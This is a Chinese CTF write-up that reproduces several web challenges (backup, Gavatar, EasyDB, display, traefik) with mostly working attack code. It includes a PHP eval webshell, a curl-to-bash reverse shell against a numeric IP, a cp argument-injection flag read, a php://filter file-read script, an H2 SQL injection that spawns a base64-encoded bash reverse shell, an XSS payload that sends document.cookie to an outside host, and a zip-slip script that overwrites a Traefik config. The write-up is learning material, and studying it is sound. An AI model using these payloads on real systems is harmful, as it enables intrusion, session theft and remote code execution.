友情提示:本文最后更新于 285 天前,文中的内容可能已有所发展或发生改变。 由于没能参加比赛,以下题目均为复现
1
scp -r C:\Users\baozhongqi\Desktop\N1\* root@IP:/opt/docker
backup 这道题没有Docker,所以我自己写一个,可能比较草率但是效果基本一致,不会差多少
日了,这个勾八一点都不好弄,我水平又比较低,但是我想到一个办法来达成浮现环境,就是利用虚拟机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sudo mkdir -p /var/www/html/primary/
sudo tee /var/www/html/primary/index.php <<EOF
<?php
\$cmd = \$_REQUEST["__2025.happy.new.year"];
eval(\$cmd);
?>
EOF
echo "flag{THIS_IS_YOUR_FLAG}" | sudo tee /flag
sudo chmod 600 /flag
sudo tee /backup.sh <<'EOF'
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15
done
EOF
sudo chmod +x /backup.sh
echo "@reboot root /backup.sh" | sudo tee -a /etc/crontab
sudo systemctl restart cron
sudo mkdir -p /var/www/html/backup
sudo chown -R www-data:www-data /var/www/html
sudo systemctl restart apache2
首先我们映入眼帘的肯定是一个eval,直接进行反弹shell
1
_[2025.happy.new.year=system("curl http://156.238.233.9/shell.sh|bash");
发现没有权限,并且看到一个backup.sh
1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15
done
我们来分析一下,-P使得不能进行软连接,即使软链接也没用,因为我们权限是不够的,在网上找了一下cp命令进行提权,发现出来的都是suid,果然官方文档才是最好用的
1
2
cp --help
-H follow command-line symbolic links in SOURCE
这不是我们要的符号链接?既然他复制的是*,那我们直接创建一个-H的文件那么就多了这个参数,成功覆盖,
1
2
3
4
5
cd primary
touch -- - H
ln - s / flag Rflag
ls - al
cat / var / www / html / backup / Rflag
把环境给清理了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash
echo "[+] 删除漏洞文件"
sudo rm -f /var/www/html/primary/index.php
sudo rm -rf /var/www/html/primary
echo "[+] 删除flag文件"
sudo rm -f /flag
echo "[+] 清理定时任务"
sudo sed -i '/@reboot root \/backup.sh/d' /etc/crontab
sudo systemctl restart cron
echo "[+] 删除备份脚本和目录"
sudo rm -f /backup.sh
sudo rm -rf /var/www/html/backup
echo "[+] 终止正在运行的备份进程"
sudo pkill -f '/backup.sh'
echo "[+] 权限恢复(可选)"
sudo chown -R root:root /var/www/html 2>/dev/null
echo "[!] 是否要卸载Apache和PHP? (y/N)"
read -r choice
if [ " $choice " = "y" ] || [ " $choice " = "Y" ] ; then
sudo apt remove -y apache2 php
sudo apt autoremove -y
fi
echo "[√] 清理完成!建议重启系统:sudo reboot"
Gavatar 在acvtar.php里面发现了文件读取,其中路径为用户ID
还有一个重要文件就是upload.php了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<? php
require_once 'common.php' ;
$user = getCurrentUser ();
if ( ! $user ) header ( 'Location: index.php' );
$avatarDir = __DIR__ . '/avatars' ;
if ( ! is_dir ( $avatarDir )) mkdir ( $avatarDir , 0755 );
$avatarPath = " $avatarDir / { $user [ 'id' ] } " ;
if ( ! empty ( $_FILES [ 'avatar' ][ 'tmp_name' ])) {
$finfo = new finfo ( FILEINFO_MIME_TYPE );
if ( ! in_array ( $finfo -> file ( $_FILES [ 'avatar' ][ 'tmp_name' ]), [ 'image/jpeg' , 'image/png' , 'image/gif' ])) {
die ( 'Invalid file type' );
}
move_uploaded_file ( $_FILES [ 'avatar' ][ 'tmp_name' ], $avatarPath );
} elseif ( ! empty ( $_POST [ 'url' ])) {
$image = @ file_get_contents ( $_POST [ 'url' ]);
if ( $image === false ) die ( 'Invalid URL' );
file_put_contents ( $avatarPath , $image );
}
header ( 'Location: profile.php' );
先随便上传一下可以看到,只要是满足文件类型的,就可以过,并且可以用url进行任意文件读取,
1
2
3
/ upload . php
avatar = acvtar . jpg & url = file : /// etc / passwd
只要上传了一个文件,并且文件是存在的就可以进行文件读取,其中得到这三个包
但是读不了flag,典型的任意文件读取到RCE,其中比较难得,就是要把cookie带上,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def __init__ ( self , url : str ) -> None :
self . url = url
self . session = Session ()
self . cookies = { 'PHPSESSID' : '41e87c5ceb4b151de6cbdee2745748c6' }
def send ( self , path : str ) -> Response :
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self . session . post ( self . url + "/upload.php" , data = { "avatar" : "acvtar.jpg" , "url" : path },
cookies = self . cookies )
def send_response ( self ) -> Response :
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self . session . get ( self . url + "/avatar.php?user=baozongwi" , cookies = self . cookies )
def download ( self , path : str ) -> bytes :
"""Returns the contents of a remote file.
"""
path = f "php://filter/convert.base64-encode/resource= { path } "
response = self . send ( path )
response = self . send_response ()
data = response . re . search ( b "(.*)" , flags = re . S ) . group ( 1 )
# print(data)
return base64 . decode ( data )
这是我改的初步的,后面发现怎么搞都会报错,后来仔细看代码原来是
必须要在elseif里面才会触发,感冒头晕被绕了,😩,所以我们不要带acvtar参数就可以成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def __init__ ( self , url : str ) -> None :
self . url = url
self . session = Session ()
self . cookies = { 'PHPSESSID' : '41e87c5ceb4b151de6cbdee2745748c6' }
def send ( self , path : str ) -> Response :
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self . session . post ( self . url + "/upload.php" , data = { "url" : path }, cookies = self . cookies )
def send_response ( self ) -> Response :
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self . session . get ( self . url + "/avatar.php?user=baozongwi" , cookies = self . cookies )
def download ( self , path : str ) -> bytes :
"""Returns the contents of a remote file.
"""
path = f "php://filter/convert.base64-encode/resource= { path } "
response = self . send ( path )
response = self . send_response ()
data = response . re . search ( b "(.*)" , flags = re . S ) . group ( 1 )
# print(data)
return base64 . decode ( data )
直接执行命令
1
2
3
4
5
source py310/bin/activate
python3 3.py http://ctf.baozongwi.xyz:10001/ "echo '<?php @eval(\$_POST[1]);?>' > p2.php"
deactivate
302和200还是有区别的,虽然结果一样
EasyDB 开局一个登录框,看看这个jar包里面的代码,直接搜索路由/login,然后发现包challenge,里面基本都是关键代码,看看
调用函数检查用户名
直接拼接语句,ohshit,那注入整起
黑名单是这些,
使用的是h2的数据库jdbc:h2:mem:testdb使用的是内存模式,可以进行堆叠注入,利用反射和拼接绕过,拿到Runtime.exec,h2的数据库可以利用CREATE...CALL来调用函数
1
username=admin';CREATE ALIAS test3 AS $$void jerry(String cmd) throws Exception{ String r="Run"+"time";Class<?> c = Class.forName("java.lang."+r);Object rt=c.getMethod("get"+r).invoke(null);c.getMethod("ex"+"ec",String.class).invoke(rt,cmd);}$$;CALL test3('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzI3LjI1LjE1MS40OC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}');--&password=admin
发现自己起Docker有问题,进去查一下
1
2
3
4
5
docker exec -it 88e30a916767 bash
docker stop 5345a6e08073 && docker rm 5345a6e08073
docker rmi easydb-web
docker compose up -d
发现根本就没有curl,弹shell的话只能用bash,常见的话,后面知道问题原来是java弹shell用base64,wu,原来这样,怪不得反序列化都写base64和计算器还有内存马
display 1
2
docker build -t display .
docker run -d --name display_container -p 9999:3000 display
明天再打,好难受想睡觉了
来了,一看是个nodejs的应用,并且里面还有bot,就感觉是个xss了,从index.js得到参数为text,
可以看到会进行访问,但是他就是没过去,说明要绕过,回来看如何处理的这个text,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
document . addEventListener ( "DOMContentLoaded" , function () {
const textInput = document . getElementById ( 'text-input' );
const insertButton = document . getElementById ( 'insert-btn' );
const contentDisplay = document . getElementById ( 'content-display' );
const queryText = getQueryParam ( 'text' );
if ( queryText ) {
const sanitizedText = sanitizeContent ( atob ( decodeURI ( queryText )));
if ( sanitizedText . length > 0 ) {
textInput . innerHTML = sanitizedText ; // 写入预览区
contentDisplay . innerHTML = textInput . innerText ; // 写入效果显示区
insertButton . disabled = false ;
} else {
textInput . innerText = "Only allow h1, h2 tags and plain text" ;
}
}
});
其中第一行textInput.innerHTML = sanitizedText;的调用会导致h1,h2标签仍然有效,而第二行contentDisplay.innerHTML = textInput.innerText;由于是获取的纯文本就会导致,如果我们是使用的编码绕过也会被当成是纯文本,最后达到xss的效果
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
这东西我之前写博客页面的时候用过,一个监控博客是否存活的东西,UptimeRobot,没想到这里也是用的这个
1
?text=JTNDSU1HJTIwU1JDPSUyMmphdmFzY3JpcHQuOmFsZXJ0KCdYU1MnKTslMjIlM0U=
发现成功了,那改一下payload绕过CSP就可以了
1
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';" ;
这过滤太狠了,得找其他东西,我们还有一个路由没有用,还有404界面,网上找到文章404界面绕过CSP
1
2
3
app . use (( req , res ) => {
res . status ( 200 ). type ( 'text/plain' ). send ( ` ${ decodeURI ( req . path ) } : invalid path` );
}); // 404 页面
纯文本返回可以进行任意内容构造,有点脏字符,注释掉就好了
所以写出payload,iframe结束标签可以省略
1
<iframe/srcdoc="<script/src='**/fetch(`http://156.238.233.9:9999/`+document.cookie)//'></script>">
1
2
3
4
5
6
7
8
9
10
11
12
POST /report HTTP / 1.1
Host : ctf.baozongwi.xyz:9999
Accept-Encoding : gzip, deflate
Origin : http://ctf.baozongwi.xyz:9999
Accept-Language : zh-CN,zh;q=0.9,en;q=0.8
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept : */*
Content-Type : application/json
Referer : http://ctf.baozongwi.xyz:9999/report
Content-Length : 43
{ "text" : "Jmx0O2lmcmFtZSZzb2w7c3JjZG9jJmVxdWFsczsmcXVvdDsmbHQ7c2NyaXB0JnNvbDtzcmMmZXF1YWxzOyZhcG9zOyZhc3Q7JmFzdDsmc29sO2ZldGNoJmxwYXI7JmdyYXZlO2h0dHAmY29sb247JnNvbDsmc29sOzE1NiZwZXJpb2Q7MjM4JnBlcmlvZDsyMzMmcGVyaW9kOzkmY29sb247OTk5OSZzb2w7JmdyYXZlOyZwbHVzO2RvY3VtZW50JnBlcmlvZDtjb29raWUmcnBhcjsmc29sOyZzb2w7JmFwb3M7Jmd0OyZsdDsmc29sO3NjcmlwdCZndDsmcXVvdDsmZ3Q7" }
traefik 1
2
docker build -t traefik .
docker run -d --name traefik_container -p 10002:8080 traefik
就一个go文件,慢慢看
检测xff,然后就是上传解压了,以我的个人感觉,这里面肯定能覆盖
解压文件的时候进行文件遍历,并且目录也是自己定,可以达到覆盖的效果但是这里的路径极其重要,上传文件夹在这个位置
1
public / upload / 6 c20d681 - a875 - 4 dd6 - abc0 - 331 ca1c5f571
要想覆盖就要
1
./../../.config/dynamic.yml
然后让人机写一个yml来覆盖,使用的是middlewares来创建
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import zipfile
import requests
# 目标URL
UPLOAD_URL = "http://ctf.baozongwi.xyz:8080/public/upload"
FLAG_URL = "http://ctf.baozongwi.xyz:8080/flag"
headers = {
"X-Forwarded-For" : "127.0.0.1"
}
binary = '''# Dynamic configuration
http:
middlewares:
set-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
'''
# 生成 ZIP 文件
zip_filename = "1.zip"
with zipfile . ZipFile ( zip_filename , "w" , zipfile . ZIP_DEFLATED ) as zipf :
zipf . writestr ( "./../../.config/dynamic.yml" , binary )
print ( f "[+] ZIP 文件 { zip_filename } 生成完成" )
# 上传 ZIP 文件
files = { "file" : ( zip_filename , open ( zip_filename , "rb" ), "application/zip" )}
response = requests . post ( UPLOAD_URL , files = files )
if response . status_code == 200 :
print ( "[+] 文件上传成功,尝试访问 /flag 获取 FLAG..." )
# 访问 /flag 以获取 FLAG
flag_response = requests . get ( FLAG_URL , headers = headers )
print ( flag_response . text )
else :
print ( f "[-] 文件上传失败,状态码: { response . status_code } " )
print ( response . text )
写出脚本了,但是发现个问题,始终拿不到flag,后面仔细一看
他是监听80端口的变化的,得把应用搞到80才能监听,才能实现覆盖,热加载
1
2
3
4
docker stop 52cb93740cf8 && docker rm 52cb93740cf8
docker build -t traefik .
docker run -d --name traefik_container -p 8080:80 traefik
docker exec -it 36b02c422cf1 sh
现在再来用脚本打一遍就拿到flag了
小结 很好的题目,我中途因为Docker问题也搞了不少时间,xss那道题非常有意思,代码少但是题目很好玩